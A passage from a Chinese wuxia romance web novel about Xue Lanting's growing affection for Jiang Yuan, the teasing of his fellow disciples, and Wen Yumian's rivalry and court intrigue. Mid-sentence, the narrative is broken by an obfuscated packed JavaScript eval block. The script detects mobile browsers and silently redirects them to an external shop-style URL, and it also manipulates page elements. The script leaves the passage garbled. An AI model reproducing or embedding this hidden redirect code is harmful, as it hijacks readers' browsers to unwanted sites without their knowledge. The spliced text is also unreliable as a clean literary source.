久到薛兰庭脑子终于能正常运转。这时候他才发现,姜沅其实只到他嘴唇那么高。以往,她在他心中太强大,太伟岸,以至于他与其他人一样,对她有种仰视的感觉。 而现在,他将她抱在怀里。发觉她的肩膀,如此瘦削,凌厉悍勇的一个人,身躯也可以不用太高大魁梧。他抱着,不自觉放柔力道,仿佛在用双手托住一只蕴含无限生命力的鸟。 姜沅面上平静,心中却亦是一片激荡。两人之间强劲有力的心跳,不知是自己的,还是他的。 完了。 ……算了。 她圈住他瘦劲的窄腰,脸埋在他的右肩,悄悄吮吸他清爽的气息,眼睫微微颤动。 薛兰庭飘飘然,直到回到邀月山庄,才终于缓过神来。他抚上自己僵冷的脸,一路轻功寒风呼啸,这才后知后觉到疼痛。 “……原来是这样的,以后我去找他,还能抱么?” 门外传来哒哒脚步声,薛朗闯了进来:“兰庭师兄!盈珠师姐做了松子糕,快来啊!” 话落,就被人陡然抱举起来。 薛朗傻眼:“嗯??” 薛兰庭放开他,摸摸后脑勺,嘟囔道:“不对,不一样……” 薛朗一头雾水,眼尖地看到他手里的东西,抽了过来:“这是什么——”见他来抢,连忙跑开:“你一定有小秘密!我要告诉炳之师兄!” “哎!回来!”薛兰庭追了上去。 薛炳之拿到那张纸条的时候,微微一笑,道:“原来兰庭师弟心中有人了。” 薛朗咬一口松子糕,“师兄,上面写的是什么?” 薛炳之道:“相思。” 薛兰庭好奇道:“相思是什么?” “你看这一句。”薛炳之指着纸条,“只要一想到她,梅花就开满了枝桠。” 薛盈珠刚好端着松子糕进来,闻言,含羞瞪了薛炳之一眼,“大白日的说什么呢!也不怕教坏师弟!” 薛朗道:“是兰庭师兄写的!没想到兰庭师兄平时看上去愣愣的,不敢跟姑娘家说话,原来早就开窍了!” 薛兰庭连忙摆手:“不是我!” “那是谁?” 薛兰庭哪敢说,只好将话头又扯到诗句上来,“为什么说一想到别人,梅花就会开?” 薛盈珠将纸条夺走,三两下揉成团,往袖子里一塞:“你自己去千红林看看不就知道啦?那里梅树多的很。”邀月庄主夫人喜梅,遂于庄后辟了一片梅林,名曰千红,平时僻静无人。 薛兰庭却心想:“不愧是沅兄啊,读的诗都那么难懂。师父写的就简单多了,不是花就是草,一只大白鸟两只大白鸟……” 他终究没有去千红林,而是在梅花开前,又千里迢迢去了几趟焚阳。本来不怎么上心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278155|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻功,硬是给他磨得一日千里,再加上姜沅有意无意的指点,竟修得出神入化。 有一次,薛兰庭差点与巡逻的焚阳弟子撞个面碰面,姜沅遂给了他一份焚阳山庄地图,嘱咐他仔细些。他回以邀月山庄地图,虽然明知姜沅不会主动找自己,却总藏着一份隐秘的念想。 万一呢? 唯一让薛兰庭心里不大痛快的,大概就是那位明镜宗的小公子了。 每次他去寻姜沅,但凡遇上那人到来,姜沅总让自己躲起来,灰溜溜不见光,然后看着那人与她相对而坐,谈天说地。 要是两大山庄的交情再好些就好了。 要是姜庄主和薛伯伯的关系再近些就好了。 那样他就能正大光明来寻好友,不用躲,不用藏,不用递什么拜帖,也不用管什么守卫了。 …… 温玉勉并非没发现不对劲。 只他如今实在没有心力。 他一边应付京里的事务,一边变着法子讨好姜沅,一边还要应付姜沅的母亲——那个疯女人,也不知受过什么刺激,以前就对他百般嫌恶,动辄打骂驱逐。自从认出他后,怕他威胁到姜沅的前程,一度想置他于死地。 好在他装傻充愣,只当姜沅是男子,这才全须全尾地脱了身,回房后便开始抠嗓子吐茶水。 姜沅上次以只当他是朋友、是亲人来挡他,温玉勉便以朋友、亲人的名号去关心,时不时琢磨点新点心、新菜色,去演武场看她练功,到书房与她讨论诗词歌赋,天下大事。 那群武林莽夫,哪有自己小意贴心。 只他每每找她闲聊,总想方设法,待得更久一些。离开时,用胜利的目光,轻轻一瞥那扇花鸟画屏。 演武场。姜沅比完一场,收剑入鞘,指点着小弟子:“刀不过是手脚的延伸,‘观其神,不观其形’。盯着对方的肩,预判劲力走向,别死盯着那把剑。” 弟子点头如捣蒜,羞愧又感激地下去了。温玉勉不知何时走到她身侧,取出一方帕子,轻轻为她拭去额上薄汗。 “阿姜,听说你下个月要去麒州?” 姜沅不着痕迹地退了半步,道:“嗯,抓个小贼。” 温玉勉并不在意她的疏离,微笑道:“麒州近京畿,三教九流混杂,稍有不慎便会惹上麻烦。若不嫌弃,可以去我姑母府中暂住。刚好,我有个东西要送你。” 姜沅一愣:“送我?” “对呀,不是要快到你生辰了吗?” 生辰二字对姜沅过于陌生,无论谁问起,她都只是随口编了一个,从未有人当真,也从未有人记得。 “好吧……谢谢。” 温玉勉道:“阿姜,不要对我说谢谢。” 姜沅有些不自在地加快了脚步,“我先回去了,你好好歇息罢。” 温玉勉刚要回答,突然过来一侍从,拦住他道:“温公子。” 温玉勉脸沉下来,“何事?” “那位大人,托我带给您一封信。” 温玉勉接过。又听那人捏着细嗓道: “大人在自家祠堂祭祀,不小心用了八佾之舞、太牢之礼,被宋相参了一本,罚俸三年,削去一衔。” 信中洋洋洒洒、愤愤千言,归为一句:给那个乳臭未干的太子也找点罪受。 温玉勉揉揉太阳穴,眉心微蹙:“太子……在京城?” “是。” “知道了,下去吧。”温玉勉顿了顿,语气骤冷,“往后有事,在焚阳外等我。不必进来。” “……是。”